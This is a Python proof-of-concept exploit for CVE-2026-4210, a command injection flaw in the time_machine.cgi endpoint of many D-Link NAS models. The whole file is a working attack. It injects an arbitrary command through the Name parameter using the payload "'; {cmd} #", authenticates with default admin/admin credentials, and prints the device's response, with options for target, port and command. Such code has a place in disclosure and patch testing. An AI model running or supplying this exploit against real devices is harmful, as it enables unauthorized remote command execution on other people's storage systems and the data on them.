#!/usr/bin/env python3
"""
CVE-2026-4210 PoC - D-Link NAS Command Injection
Affected: DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321,
DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L,
DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04
"""
import requests
import sys
import argparse
def exploit(target_ip, target_port=80, cmd='id', username='admin', password='admin'):
"""
Exploit CVE-2026-4210 command injection vulnerability
"""
# Construct the malicious payload
# The Name parameter is vulnerable to command injection
payload = f"'; {cmd} #"
url = f"http://{target_ip}:{target_port}/cgi-bin/time_machine.cgi"
# Prepare the request parameters
params = {
'func': 'cgi_tm_set_share',
'Name': payload
}
# Authentication (may vary based on device configuration)
auth = (username, password)
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[*] Command: {cmd}")
print(f"[*] Payload: {payload}")
try:
response = requests.get(url, params=params, auth=auth, timeout=10)
print(f"[+] Response Status: {response.status_code}")
print(f"[+] Response:\n{response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2026-4210 PoC')
parser.add_argument('target', help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)')
parser.add_argument('-c', '--cmd', default='id', help='Command to execute')
parser.add_argument('-u', '--username', default='admin', help='Username')
parser.add_argument('-P', '--password', default='admin', help='Password')
args = parser.parse_args()
exploit(args.target, args.port, args.cmd, args.username, args.password)